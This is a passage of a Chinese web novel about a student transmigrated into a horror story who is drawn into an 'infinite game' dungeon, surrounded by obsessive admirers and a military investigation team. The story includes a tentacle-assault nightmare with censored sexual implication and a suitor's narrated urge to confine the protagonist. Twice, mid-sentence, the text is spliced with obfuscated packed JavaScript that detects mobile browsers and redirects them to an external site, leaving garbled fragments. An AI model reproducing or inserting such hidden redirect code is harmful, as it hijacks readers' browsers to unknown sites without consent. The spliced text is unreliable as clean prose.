亮着灯的明亮便利店内，江时早进门后，几乎第一眼就看见了那个站在收银台后面的男子。 温执的个子很高，即使穿着便利店的店员服，这个人也十分引人注目。 噢……江时早的目光停留在了温执浅绿色的围裙上。 那上面绣着两只猫。 有点可爱…… 江时早多看了一眼。 “时早，你回来了。”温执微笑着打招呼。 他的声音比便利店门口的自动欢迎声还悦耳。 “晚上好。”江时早走向即食区。但几秒后，在看见几乎装满了配菜的18宫格关东煮锅时，江时早露出了略微吃惊的表情，“……今天剩了好多。” 温执站在柜台后方，清润的声音解释道：“今晚顾客少，时早你随便吃，都是免费的。” “……免费的？”江时早抬起了脑袋。 “是啊。”温执说着轻轻叹了一口气，“我们店过了晚上十点半，即时区的食品就不再收费了。如果没有人需要的话，这些食材就浪费了。” 温执说着看了眼墙壁上的挂钟：“一会儿换班后，夜班的店员会更换新的食材。确保食物的新鲜口感。” 江时早顺着温执的目光看向墙上的钟，现在时间正是晚上十点三十五分。 这么一看，他来得还真够巧的。 江时早的目光重新落回眼前的关东煮上，无论怎么看，这锅里的食材看上去都还非常新鲜啊…… 温执这时已经戴上了手套，他拿起一旁干净的餐盒，“时早，吃点什么？” 江时早挑了几串自己平时爱吃的，那之后他坐在便利店靠窗的吧台边，一边吃宵夜，一边等温执换班。 温执在将关东煮递给江时早后，人就去了位于便利店后方的员工室。 等江时早再看见他时，温执已经换上了自己的衣服，看起来是下班了。 江时早回头看了眼柜台，那里刚刚走进去一个新店员。 江时早对便利店的夜班店员没有印象，不过对方之前应该就在后面的员工室里。 江时早注意到，这个夜班店员没有穿浅绿色的猫猫围裙。 温执过来时，将一瓶汽水递到了江时早手边。 “时早，请你喝汽水。”温执眼尾带笑，整个人看上去很有亲和力。 “诶……谢谢哥。”江时早接过汽水，又看向温执。 一直以来，江时早的性格都不擅长拒绝他人的好意。只好回报道：“哥，改天也让我请你喝东西吧。” 虽然这才是两人第二次真实的接触，但江时早感觉书里的“自己”过去肯定一直都很受到这位好心邻居的照顾。 江时早问道：“哥，你喜欢喝奶茶、茶还是咖啡？” 温执这时坐在了江时早身边的高脚凳上。这个人的腿很长，形态又完美，江时早视线不受控制地又多看了一眼。 再次感到羡慕。 “都好。”温执笑的很温柔，他拿出手机，说道，“对了，时早，突然想起，认识这么久，我们都还没有交换联系方式。” “时早，你的号码是多少？” “8XX-X7-X2X-X99。”江时早顺口就将自己在这个世界里的号码背了出来。 穿来第一天，他就背下了自己的手机号码！ 毕竟手机也算是他穿书后找到的第一个属于自己的随身工具了。 在温执输入号码时，江时早也从包里摸出了手机，这才发现收件箱里已经躺了好几条未读信息了。 其中一个发件人是温序，也是最近的一条信息：‘时早，到家了吗？’ 还有一条：‘奶茶很好喝。’配图了一张表示感谢的表情包。 另一个发件人是温浅川，这条讯息是在几分钟前发来的，里面有一张书店的照片，从画面看，照片拍摄的时段是夜晚。 附信息：‘时早，我们公司外面新开了一家书店，看起来很不错。我记得你很喜欢看书，有空的话可以过来看看，记得联系我^^’ 还有几条是温鹤临发来的：‘时早，下周的优秀学生奖学金已经转入你的校园卡了。对了，最近又有不少餐厅和商店加入了铃城高中的校园卡支付系统，明天我把那些商店的名单整理一份给你。’ 温鹤临的短信很好的解释了江时早的校园卡为什么余额惊人了。 虽然江时早过去在江城念书时也是常年领奖学金的选手，对此并不见怪，但是……铃城高中的奖学金按周发啊？ 江时早内心震撼了一下，难怪自己的校园卡里有那么大一笔钱…… 现在看来很可能就是过去一周一周存起来的。 如果这不是一本灵异文，江时早都快升起读书致富的念头了。 铃城高中的校园卡还能在校园外的餐厅和商店使用。 这实在是……太方便了。 江时早忽然感觉自己的日常生活好像并不难过了。 尤其当他看见温鹤临后面发来的信息时： ‘时早，我注意到你的校园卡里已经存了不少钱了。别忘了，你可以用手机APP将钱转入你的银行卡，它们是绑定好了的。’ ‘如果还有什么问题，记得问我。’ ‘什么都可以问我。’ ‘晚安，时早。’ …… 信息读到这里，江时早的心情雀跃了一瞬，这个好消息算是真正解决了自己在铃城的基础生活问题了。 只要他能维持住优秀学生的人设，维持优异的成绩……平常的日子里应该都能苟过去了。 不过江时早上扬的心情还未持续三秒，忽地就警觉了一下。 有那么一瞬间，他感觉自己被什么危险的存在盯上了。 但等他回过头时，只看见温执亲和又英俊的面庞，并没有别的异常。 温执正看着自己，四目相对时，江时早感觉呼吸顿了一下。 眼前的邻居长得也太好看了。 近距离下，温执的五官似乎更加立体了。 江时早看出神了一瞬，然后下一秒，他的手机就震动了起来。上面出现了一个陌生的号码。 温执晃了晃手中的手机，微笑着说：“是我打来的，这是我的号码，时早。” “好！”江时早当即应了一声。 震动在这时停了下来，他立刻将温执的号码存入了手机通讯录。 而在江时早低头时，温执的神色变化，相比之前温柔体贴的形象，此刻这个人的眼神里充满了压抑的、疯狂的贪念。 刚刚早早望向他时，他真怕早早再多看自己一眼，自己就要忍不住对着眼前的人亲下去了……然后将对方永远的禁锢起来。 …… 回到公寓后。 江时早这才一一回复了之前收到的信息。 在回来的路上，他还和温执约好了，等明晚他放学时，会给温执带学校的奶茶。 回完信息的江时早利落的洗漱更衣。 在将自己清理一新后，他将书包里装着的那一挪小说拿了出来，放在床头柜上。 床头柜上还放了一杯他刚刚接好的凉水。 一切准备就绪，江时早就这样亮着全屋的灯，靠在床头，拿起自己最想看的那一本书，阅读了起来。 ……其实这里的每一本书他都想看。但江时早也知道一口吃不了一个大胖纸，一个自己只能一本一本的看。 他得循序渐进。而且在灵异文里看灵异小说多少有些冒险。江时早很清楚这一点。但真正阅读起来后，这个靠在床头的人很快就被书中的描写所吸引了，以至于连独处在公寓中的紧张感都散去了不少。 江时早是在困意来袭时睡去的。 这些天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660323|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来他已经习惯了开着灯睡觉了。 但等江时早再次睁开眼时，朦胧中，他觉得眼前的世界好像不太对劲…… 被子的触感变得很奇怪…… 阳台…… 他看见了自家公寓的阳台。 还看见了飘动的窗帘…… 窗帘正被风吹动着…… 阳台的推拉门又是什么时候打开的？ 这时的江时早大脑反应还十分缓慢，如同在梦里，他只觉得今晚外面的月光十分明亮…… 让江时早稍微清醒了一些的是他身上越来越紧的“被子”。 好多条被子…… 缠绕着自己的腿根。 缠绕着他的腰间、胸口、手、乃至脖颈…… 这令江时早的眼中闪过迷茫。 他的被子到底为什么一直在缠着他……？ 还在自己的身上不停的滑动、收缩、膨胀…… 被子好像有呼吸了…… “！” 江时早感觉自己被什么东西咬了一口！ 这让他瞬间清醒了不少。 而等他低下头时，睡在床上的人也终于看清了缠在自己身上的到底是什么了！ 一条条触手。 一条条触手！它们不仅缠绕在自己的身上，整个卧室的天花板上好像挤满了这样的恐怖触手。 而它们每一条又似乎都想要向他伸来。以至于一些触手还为了争夺打了起来。 看清场景的一瞬间，江时早瞳孔都震颤了。 简直不敢相信眼睛看到的一切。 而在他因为惊讶而张开嘴的那一瞬间，一条伺机已久的触手也在这时占准先机，钻入了江时早的口中。 仿佛要侵占活人的所有生气。 “！！！” 异物入口让江时早的眼神更加涣散了。 “啊、呃、啊、呃、啊……” 江时早艰难的呼吸。 但触手并未退去。恐怖渗透着每一种感官。不断的扩散、弥漫。 哪怕江时早用牙咬它，好像也没有伤到它分毫。 它依旧在他的口中肆掠。 身上的触手也越来越多，越缠越紧…… 怪物袭击带来的窒息感不断加深。 最后，整间卧室中，似乎只剩下了一道道从唇边艰难溢出的呜咽声。 “啊……” 救…… “呃、啊……” ……命……啊！ …… 亮着灯光的卧室里，江时早从床上弹起身时，第一反应就是看向阳台的方向。 通往阳台的门正常的闭合着，没有风进入，薄纱一样窗帘也安静的垂挂着。 卧室里灯光明亮，床边还放着江时早入睡前看的那本小说。 一切的一切都在提醒他，刚刚那恐怖的一幕幕只是他做的一场梦。 梦里的卧室是没有亮灯的，整个房间里只有月光洒落。 江时早缓了好几秒，才松懈下自己紧绷的神经。 身上的睡衣都湿透了啊…… 床单也湿了…… 江时早叹了一口气。准备起来更换一下被子。 也就是这时，他后知后觉的发现了自己身体上的异样。 当江时早的目光落在自己的腿间时。 他眼底的震惊不比刚刚在梦中时少多少。 “！！！” “？？？” “…………………………” 在江时早发现自己竟然在梦里口口后，惊悚过后，坐在床上的人陷入了诡异的沉默。 …… 活了二十二年，江时早第一次对自己产生了怀疑。 难不成，他是什么隐藏的变态吗…… 为什么他会在梦见这种梦后……口口啊！ 明明在梦里他都快被那恐怖的触手怪物给缠绕到窒息了！ 16. 第十六章 洗完澡后，再次清理一新的江时早重新躺回了床上。 床单和被套已经换上了新的。 之前那套被他扔入了滚筒洗衣机。 一切好像恢复了正常。但此刻睁着眼看着卧室的天花板，江时早的脑海却不受控地闪回了几幅梦境的碎片画面。 真是一个……令人窒息的梦啊。 自己怎么会做这种奇怪的梦？ 现在回忆起来，江时早仿佛还能感受到梦境中自己的五感…… 那种身体被用力缠绕的压力。 无数的湿滑的怪物触手。 和钻入口中的异物。 太真实了，简直不像是梦。 想着想着……最后这个躺在床上的人又从床上坐了起来。 是最近压力太大了吗。 坐起身的江时早打了个哆嗦后又猛摇了摇脑袋，勒令自己别再想了！ 他看了眼床头柜上的闹钟，现在时间是早晨六点。最后江时早拿起昨晚那本未看完的小说，趁着现在距离去学校还有一段时间间隙，他继续阅读了起来。 这本小说讲述了主角一行人前往斯堪的纳维亚地区一座著名的国家森林徒步。 主角团队加上一个当地男性向导，总计十人。 他们的原计划是在森林中徒步半个月，出发点与终点相距约214公里，途中将穿越多种复杂地形。 故事开始后，第一天与第二天，一切相对正常。这段路程中，作者通过人物间的对话、互动、行为与选择，不露痕迹地描写出了团队中的每一个人物性格，再极为自然的带入了他们背后的故事。用最精炼的笔墨铺垫了人物之间的明暗关系。 而从第三天清晨起，诡异的事件就开始接连不断的发生。 江时早翻动手中的书页，从当前阅读到的内容来看，尚无法判断这些事件是人为还是超自然因素。但无论原因，这个作者描绘出来的画面紧凑感非常引人入胜。 到第三天夜晚时，主角团队里的一个成员失踪了。 因此等到了第四天清晨，一行人决定在原地点再驻扎一天，寻找失踪的队友。 江时早现在正看到主角团分成了几队人马，其中两人留守驻地，向导带了两个人向一个方向搜寻，另外四个人一队向着另一个方向搜寻。 “这类型的故事里分开行动就是被各个击破的开始……”但也不能不去寻找失踪的人。而且这些人物间的关系十分复杂。保不准现在发生的一切都在某些人的计划之中。 江时早翻着书页，心里嘀嘀咕咕地发评。 床头柜上的闹钟响起时，他已经看到了故事的第四天夜晚，出去寻人的两队人员因各自线路上的剧情发展而无法返回原来的驻扎地。 向导那边找到了一个供应补给点的森林木屋落脚。 另一行人则进入了一座废弃别墅。 放下手中的书时，江时早也伸手关掉了闹钟。他起身换衣，待穿好校服后，他拉开窗帘。看着外面的天色，今天又会是一个大晴天。 江时早对《铃城》的设定还抱有着期望！ …… 南岸第13站。 444路公交车上。 温浅川坐到江时早身边时，一眼就看见了少年手中的书。 两人刚刚互道了早安，公交车也在这时重新发车。 温浅川坐下时说道：“时早也在看这本书吗？”他指了指书封。 江时早手中拿着的正是那本他还未看完的，故事发生在一座森林中的小说《Skadino-via》。 “我家里也有这个作者的书。”温浅川的目光落在书的封面上，“‘Skadino’在日耳曼语中意为黑暗，‘via’则是象征领土含义的后缀。两者结合在一起，并非一个真实存在的名词或地域名称。” 温浅川说到这里时，收回的目光落在了江时早微微垂着的眼睫上。 ……不知道亲吻上去时，早早的眼睫毛会不会颤抖。 念头瞬息生长间，这个人的声音未停，他的语调平稳温润：“我猜，这本书的作者想要描写的应该是一个“黑暗地带”。既可以理解为地理位置上的黑暗、与世隔绝，譬如书中的迷雾森林，也可以理解为书中人物心灵上的黑暗。” 听着温浅川的声音，捧着书的江时早认真地点了点头。 正如温浅川所说，作者在文中关于森林环境的描写多为“阴湿”，“暗沉”，“多雾”，“易迷失”。主角团队中则隐藏着许多人物间的复杂关系。这些或大或小的矛盾，复杂的地理环境，未知的超现实因素，都可能成为一个团队走向黑暗绝境的导火索。 江时早的目光这时也落在了手中的书上，他看向书封上的作者名，“这本书的作者“川”……他对人性和人物心理的掌控很厉害。” 故事前面几天的行程虽然看上去一帆风顺，但是主角团内部的人员矛盾却暗流涌动。 江时早在看书时，时不时就会担心故事还没有进入到灵异部分，就已经演变成了法治现场。 “……很多人物心理描写让人看了毛骨悚然。”江时早现在想起来都还感觉背脊有点凉飕飕的嘞。 温浅川这时笑了一下，“时早，记得我跟你说的书店吗，昨晚我路过时，看见书店里有“川”新出版的小说，要来看看吗？” 温浅川邀请道。 “好啊。”江时早想了一下便答应了下来。刚好他和温序约好了周末去书店看书，那就选这家吧。江时早说：“我和朋友周末会去书店看书。” “……朋友？” 听见这两个字时，温浅川的笑容凝固了一下，但这个人的面部情绪调整极快，仿佛一台训练过亿万次的精密仪器。 下一秒，温浅川如常般说道：“第一次听时早提起朋友。刚好，这周末我都在公司。我记得时早你很爱喝咖啡……” 温浅川说到这里时，语调一顿。待目光与江时早接触后，他才继续说道：“时早到了记得给我发信息。到时候让你尝尝我们公司的咖啡……非常美味。” 温浅川的脑海中勾勒出了一幅早早喝他亲手泡的咖啡的画面。 这样的想象让他的心情好转了不少。 此时公车上的两人靠得很近，并排着的座位几乎使他们成为此刻这一空间中最接近彼此的存在。当他们对视时，视野里几乎只能看见对方。 异常就是在这时出现的。 江时早最先注意到的是车厢里的光线变了。 紧接着，他就惊恐地发现公交车外的世界变了！ 事实上，正是因为外面环境的变化，他才第一时间察觉到了车厢里的光线变化。 “……哥？”江时早的声音也变了，他本来是要回复眼前的温浅川，此刻却只能轻颤着声音，用眼神示意对方，“你看到了吗？” 在江时早眼里，除了这辆公交车里的空间，外面的世界已经完全变成了另一个模样！ 乘客和司机都消失了。 除了他身旁的温浅川。 最可怕的是这辆无人驾驶的公交车还在向前行驶着。行驶在一条宛如末日孤城的街道上。 周围高楼林立，但无声无息。无数的黑洞洞的窗口，没有遮掩，漆黑一片，让看着它们的人无从得知里面存在着什么。 这一刻，江时早仿佛又回到了昨晚的那条走廊。 当时他所看见的铃城，就是此刻车窗外的模样，所有的建筑都没有灯光，只有那高高的云层后面，时不时闪现出光芒，照亮地表的漆黑。 经江时早提醒，温浅川这时转身观察了一下周围，他抬起的右手轻搭在了江时早的肩上。这个姿势像是将人护在了怀中。 “别慌。”温浅川平稳的声音在这一刻起到了一定的安抚作用。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660324|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江时早也真切意识到了自己不是一个人身处在这异常之中。 当最初的惊慌过去之后，他渐渐冷静下来，也意识到此时的情况的确与昨晚相似。 昨晚在活动室时，他也是先看见了镜子前的其他人消失，那之后，他和温序逃离了活动室，站在走廊上，看见了外面的诡异铃城。 而现在，公交车里，除了他和温浅川，其他人都消失了。 铃城也再次变成了另一个模样。 唯一与当时活动室中情况有所不同的是…… 此时的这辆公交车里亮着灯。 在外面的光线变化后，公交车里的白织灯就亮了起来。 明亮的光线，似乎给了这个空间一点不一样的氛围，仿佛这里比外面的世界更安全。 但这种怪异又安全的感觉…… 也让江时早想到了昨晚的那间杂物室。 如果真的是他想的那样。 那么接下来…… [玩家江时早，玩家代号209999，欢迎回到Inter-DimentionalTravel无限游戏空间。] “……”听见预料之中的系统提示音时，这一次，江时早第一时间观察了温浅川的反应。 温浅川的眉头微动，脸上的情绪也有瞬间的困惑，不过当他发现江时早正在看他时，他向江时早投来了一个充满了安抚作用的眼神，神态也恢复了温和。 不知道为什么，看着这样的温浅川，江时早忽然升起一阵内疚。 即使到了这种时候，这位好心的上班族还在为别人考虑，对方还想着安抚江时早的情绪。 “哥……你还好吧？” 江时早这会儿已经百分之九十九点九九确认温浅川同他一样，听见了那道系统提示音。就像昨晚的温序一样。 江时早甚至怀疑，温浅川就是因为遇上了自己这么一个BUG穿书者，才会被拉入那个无限游戏空间中。 是他连累了对方。 想到这里，江时早已经抓起了温浅川的左手，“哥，你别担心，一会儿进入了副本，你跟着我……那地方我去过！” 江时早努力让自己的声音听起来可靠些。 温浅川看着自己被江时早握着的手，眼底情绪差点克制不住。 他轻颤着声音回道：“好。我跟着你。” 温浅川很激动。 江时早又用力地点了点脑袋。他感觉到了。温浅川的确有些害怕。对方那好听的声音都开始颤抖了。 任何人遇上这种事都会害怕的，江时早很理解，他对此深有感悟。 “哥，你的代号是多少？” 江时早试图通过对话来缓和对方的情绪。 “210001。”温浅川很配合地回道。 江时早：“……我是209999。”这种时候，江时早就没提他还有个朋友，是210000了。 这时，第二道提示音响起： [即将进入无限游戏副本“Skadino-via”，玩家人数：6人] …… 江时早：“！！！” 在新的提示音响起后，这一次，温浅川比江时早先开口：“Skadino-via？” 标准的日耳曼语从这个人口中念出时，他的目光也落在了那本已经被江时早搁在了腿上的书上。 此刻，江时早很难形容自己的心情。 略微睁大的眼睛有好几秒钟，就这样呆呆地望着眼前的人。 好消息：接下来他们要进入的副本，很可能就是自己腿上的这本书中的世界。 坏消息：他还没有看完。 好好消息：他的公交车搭子温浅川一定看完了这本书！ 最后，江时早真挚地抓着温浅川的手，用一种比之前更加可靠的声音，说出了：“哥，我们有救了。” 17、第十七章 江城。 小说《铃城》断更的第九天。 一大早，ridt特别调查组在江城的一处办事处中，好几位调查员已经等候在了入门即可见的那间屋子内。 此刻坐在沙发上的几人正是副本“104号畸形屋”中玩家代号为141，854和3947的三人。 昨天副本结算后，三人的代号都发生了变化。 ‘141’，真实姓名：周众，副本结算后升位至‘139’。 他是ridt调查一组09小队的副队长。也是一位体格健硕、能力出众的军官。寸头方脸，棱角分明，年龄27岁。 ‘854’，真实姓名：岑献，副本结算后升位至‘771’。 岑献的五官并不突出，第一眼看时不会引起注意，在外极其容易隐藏于人群中。他留着一头短发，看起来不常打理，年龄26岁，现在是ridt调查一组09小队的成员。在进入ridt前，曾为安全部门情报员。 ‘3947’，真实姓名：钟司燕，副本结算后升位至‘2658’。 钟司燕就是在副本中与江时早有过简短对话的那个束着马尾的长发男子。年龄29岁，是ridt调查一组09小队的新成员之一。在进入ridt前，曾为科学院特殊引进人才。 “果然位次越靠前越难上升啊。”岑献看了眼副队长周众现在的代号。副本结束后，周众的排名仅仅上升了两位。他感叹了一句。相比较起来，另一位队友钟司燕这一次副本结算后直接上升了一千多名。 钟司燕似乎对这个话题不感兴趣，他说起让几人一早聚在这里的原因：“听队长说，新来的那人和abyss有过接触……就在昨晚。” 昨晚队长向何显镐公开的信息，调查一组的成员基本上都知悉。 三人这会儿正是在这里等他们的新队友。 “调查员119号。”岑献说出那位新队友之前在调查组里的编号，他看了眼时间，不免也对新同事感到好奇。不然也不会提前来这里等人了。 岑献将已知信息又分享了一遍：“姓名：何显镐，通过军方特殊部门接触到了idt，参与副本次数总计：3次，目前排名：1795……履历看不出什么特别。当然，也没有什么问题。”说到最后时，这个人还顺带着附上了一些个人点评。 那从他口中自然而然道出的idt即是多维旅行无限游戏空间inter-dimentionaltravel的缩写。 而他们身处的ridt，全称：researchoninter-dimentionaltravel，原本是中心第零科学院——这一特殊科学院对多维假说理论的研究项目。 后来演变成一个由军方特殊部门、中心安全部特殊情报局以及科学院三大部门共同监管和组成的特殊调查局。 发展到现在，便有了几人所属的，针对多维旅行无限游戏空间展开全面调查的ridt特别调查组。 明亮宽敞的客厅里，岑献刚念完新成员的信息，这套伪装成普通公寓的办事处大门就从外面打开了。 调查一组09小队的三人看见来人，立刻从沙发上站了起来，他们站姿笔挺地喊了声：“队长！” 来人正是调查一组所有小队的队长，也是ridt特别调查组的总指挥，宋沉岳。 宋沉岳身后还跟了一个人，对方进门后顺手关上了门。正是几人的新队友，何显镐。 何显镐与客厅里的三人认了个脸熟。在他的资料由上级转交给调查一组09小队的成员时，何显镐也收到了09小队的两位队友及副队长的基本信息。因此他对这三人也有初步了解。 而昨晚与何显镐通话的那位长官正是宋沉岳。 ridt特别调查组中涉密等级最高的调查一组由不同的小队组成。每个小队分配一位副队长，平时由副队长带领整个小队进行任务。 必要时刻，所有小队则听从一位队长的调令，那个人就是宋沉岳。 可以说宋沉岳就是调查一组中最高级别的长官。 一般情况，各小队成员很难见到这位队长。 不过09小队的几人十分清楚宋沉岳今天为什么会来。 他们昨天安全离开副本后，就将“001”的信息上报给了上级。 宋沉岳应该就是为了这件事而来。 “队长……请坐？”岑献将沙发让给队长，他又同何显镐打了个招呼，“新同事，你也坐，坐，大家都坐。” 像他们09小队这类伪装成普通公寓的办事处，在里面说话谈事不用太讲究软件环境。总之，这间公寓里的任何空间都是绝对安全的。 该有的防监听、防泄漏设备一个不少。外面还设有高强度的严密监控与防爆系统。 “都坐吧。”宋沉岳开口了。 他这一次的确是为了“001”出现在副本中一事而来。由文件形式汇报上来的内容总归没有当面交流详细。 刚好，他顺便就将与温执接触过的何显镐带了过来。 只不过谈话还未正式开始，宋沉岳的耳边就先响起了一道提示音： [玩家宋沉岳，玩家代号006，欢迎回到inter-dimentionaltravel无限游戏空间。] “队长，怎么了？”钟司燕第一个注意到这位长官的停顿。 宋沉岳的神色并未有太大变化，他说：“临时激活了一个副本。抱歉，这一次会议可能要延后了。” “临时激活了一个副本？”岑献讶异地将这句话又重复了一遍。 客厅里的其他几人这时也都看向了宋沉岳。 副队长周众倒是听说过这种情况，但他没有插话。 宋沉岳思考了一瞬，说道：“一般情况下，idt系统会在一个副本结束时提前告知玩家下一次副本开启的时间区间。这个区间不会很大，因此玩家能够提前做好准备。” 这是所有人都清楚的一般情况。 宋沉岳继续说道：“临时激活的副本，它们的开启时间则没有规律可言。任何人任何时刻都有可能临时进入到这些副本空间。” 听到这里，岑献说道：“我明白了……”他看了看副队长周众和队友钟司燕，“我们小队之前好像都没有遇见过临时激活的副本。” 宋沉岳颔首道：“我的代号在进入前100位后，才开始出现这类情况。” 简言之，这种情况有可能只发生在代号前100的高位玩家中。 众人心下当即有所了然。对于排名前100的人来说，或许无论副本什么时候开启，他们也都能从容应对。 譬如眼前的这位长官。 一直保持着沉默的何显镐看了眼那位长官，虽然不知道宋沉岳在游戏里的代号是多少，但是这位长官的军衔非常高。而对方看起来十分年轻。 “队长，您马上要进入的副本是什么类型？您现在需要点什么吗？”周众问道。他们这个办事处虽然看着朴实无华，实际上还算应有尽有。 不管是易于隐藏的小型武器，还是狙击枪类的枪支弹药，周众现在都能给他们的这位队长拿出来。而他这个人也已经从沙发上站了起来。就等着队长发话。 宋沉岳却没有在这个问题上继续，反而是在沉思数秒后，说道：“这一次副本的参与者有：209999和210001。” 宋沉岳道出这两个代号时，他的视线也看向了09小队的三位成员，最后与愣住了的周众视线相对。 最先开口的是钟司燕，但他的声音显然很迟疑：“……怎么可能？” 209999？是上一个副本里的209999吗？不过上一次副本中的另一个人代号是210000，队长刚刚念出的第二个代号则是210001……总不可能副本结束后210000还倒退了一位。而且按照升位规则，副本结算后他们至少也应该上升数万位排名才对。 “很熟悉的代号，对吧？”宋沉岳说着，从沙发上站起了身。“看来这几个代号的确有些问题。” 紧接着，这位队长就在09小队的几人面前消失了。 宋沉岳进入副本后，这间客厅里足足安静了好几秒，岑献才打破沉默，道：“队长不会有事吧？” 下一秒这个人就自问自答了：“队长肯定不会有事。” 钟司燕说：“209999到底是又一个新人，还是之前那人的代号没有变化？” 周众说：“209999……短时间内连续遇上这个代号的概率太低了。临时副本本就是特殊副本。队长也说了，排名进入前100后，才撞上过这类型副本。所以有问题的应该就是这个代号。” 岑献这时也站了起来，“对了！既然209999出现了，001是不是也在这个副本里！”刚刚都忘了问队长了。 客厅的长沙发上，何显镐观察着他的新队友们，虽然没有说话，但他的思路正围绕着这些人的对话信息转动。 对了，他们谈论的“001”很可能就是温执。 “哎。”岑献这时叹了一口气，他来到何显镐身旁，“今天本来应该给你准备一个欢迎仪式的，但是突然发生了这种事……”岑献说着说着就看向了周众，“副队长，这次该你去写报告了吧？” 周众沉默了半秒，“行。” 钟司燕又说：“这不是小事，副队长你写完先给我过目一下。” 毕竟队长是在他们的办事处里进入了副本。 周众说：“行。” 岑献又说：“话又说回来，队长明明才25岁，比我还年轻呢，怎么看着他……我总有一种看长辈的感觉呢。” 该说不愧是队长吗，那气场有够震慑人的。 岑献说着已经坐到了何显镐旁边，并且哥俩好的搭上了肩。 “兄弟，听说你见到温执本人了？快说来听听，他到底是一个什么样的人？” 这恐怕才是岑献一大早就来这里等人的真正原因。 “001”是否是温执这件事还有待调查，但无论调查结果如何，温执都与idt无限游戏空间有着特殊联系。 况且，岑献看向钟司燕：“钟哥，你觉得昨天那个高中生更像“001”，对吧？” 钟司燕点了点头。 “高中生？”何显镐不习惯地动了动肩膀。 岑献十分通情达理地放开了对方，但还是一脸期待的等待着新队友分享信息。 客厅里的几人这时都看向了何显镐。 何显镐为难地皱了皱眉。温执是一个什么样的人？在昨天之前，他恐怕怎么也想不到自己有一天需要回答这么一个问题。 在将与温执相关的记忆画面都过了一遍后——实际上这玩意非常少，并且还都是与时早有关，最后，何显镐勉为其难的吐出了几个字： “他是个疯子。” 听到这个形容，房间里的三人都愣了一下。 岑献最先接受了这个标签，疯子嘛，这太常见了，尤其是进入了idt游戏空间里的人，没疯的是少数。普通玩家多少都会染点疯。 所以岑献只是看着何显镐，鼓励道：“兄弟，详细说说？” 温执既然有可能是“001”，那这个人肯定疯得不轻，毕竟这不属于普通人范畴了。 不过在回答前，何显镐也有一个问题：“你们怎么会抓不到他？”何显镐皱着眉说，“作者abyss虽然不常活跃在公众视野，但也并非销声匿迹。” “兄弟，我知道你想说什么。”岑献拍了拍何显镐的肩膀，叹气道，“但我们现在还真找不到他。” 另一边的钟司燕看着面露不解的何显镐，他解答了对方的疑惑：“你应该还不知道，温执这个人，他很有可能拥有影响现实的能力。” “我觉得可以去掉“可能”二字了。”岑献怂了怂肩，但他此刻的目光却直直地看着何显镐，注视着对方的反应，“我们看过昨晚的监控录像。温执从你身边走过，但你好像完全没有注意到，就那样让他走了。” 闻言，何显镐愣了一下。不仅是因为队友道出的信息，还有……他感觉他的新队友似乎在怀疑他。 因为温执！ 想明白之后，何显镐险些在心底冷笑。他敢肯定，这又是那人故意的。 而如果连队友都对他有疑并且表现了出来……他们的长官肯定也有相同的想法。说不定这一切都是对他的测试。 他们是怀疑自己和温执有私下联系吗？或者更甚至，怀疑他是温执安插入调查一组的人。 呵呵，当然不是。 但仔细想想整件事…… 该死……何显镐自己也清楚自己的处境怎么会变得如此被动了。 ………… 铃城。 444路公交车上。 江时早赶在第三条通知出现前，快速与身边的温浅川说道：“玩家人数是6人，除了你和我，一会儿我们在副本中还会遇见四个人，他们跟我们一样，是参与者。哥，我们要进入的世界很可能就是这本书中的故事发生地。” 江时早扬起手中的书，用最快的速度向温浅川解释了“副本世界”、“游戏参与者”、“剧情”、“可能任务”、“小说”、“通关”等信息。 “早早，早早。”温浅川握了握江时早的手，“别慌……我都明白了。” 江时早这才换了一口气，“呼~” 他刚刚的总结与叙述应该已经超越当年毕业答辩时的反应了。 温浅川看起来也真的了解他们即将面对的是什么了。 这时，第三道信息响起： [以下公布本次游戏副本参与玩家：] [“代号006”] [“代号014”] [“代号055”] [“代号091”] [“代号209999”，“代号210001”] …… “……”听着这差距巨大的代号，江时早已经见怪不怪了。他也是有经验的玩家了。 江时早轻呼吸了一口气，安慰新同伴：“他们听起来都很厉害。” 尤其是“006”…… “说不定我们进入副本后没多久就通关了。”江时早乐观地说道。 就像上一个副本一样。 “001”就通关的很快。 何况他们可是看过小说《skadino-via》的读者！ 温浅川附和地点了点头，虽然他很想和早早多待一会……只是公交车上的这点时间，对温浅川来说远远不够。 也就是这时，车厢里的两人都听见了那道机械声通知： [即将进入副本空间“skadino-via”] [祝各位玩家旅途愉快] 18、第十八章 江时早这一次进入副本的状态比上一次好多了。 也有可能是因为有了心理准备，进入时那一瞬间的失重与晕眩感并未对他造成太大影响。 再睁开眼睛时，他的视野很快恢复清明。 温浅川就站在他身旁。环顾四周，两人果然出现在了一片森林中，脚下是潮湿的土壤，杂乱的植被，周围长满了茂密的、高耸的云杉。 此时的他们一个还穿着铃城高中的校服，一个则穿着修身的全套西装和皮鞋。 这样的组合出现在这片远离人类现代世界的原始森林里，已经无法用格格不入来简单形容了。 江时早观察天色，不难发现副本世界的时间又是傍晚。 这一次的环境与奇德街所在的世界完全不同。他们身上没有任何穿越丛林的装备，这种情况下，普通人几乎无法应对入夜后充满危险的森林。 “对了时早，我忽然想到一个问题。”温浅川这时开口道。 这道声音立刻吸引了江时早的注意。他看向温浅川，见此刻对方神色格外认真，江时早也跟着紧张了起来。 他们才刚进入副本，就要撞上危机了吗？ “哥，你说。”江时早努力让自己的声音保持平稳——他们两个人中总得有一个保持着冷静吧。江时早是这样想的。 然后他就听见了： 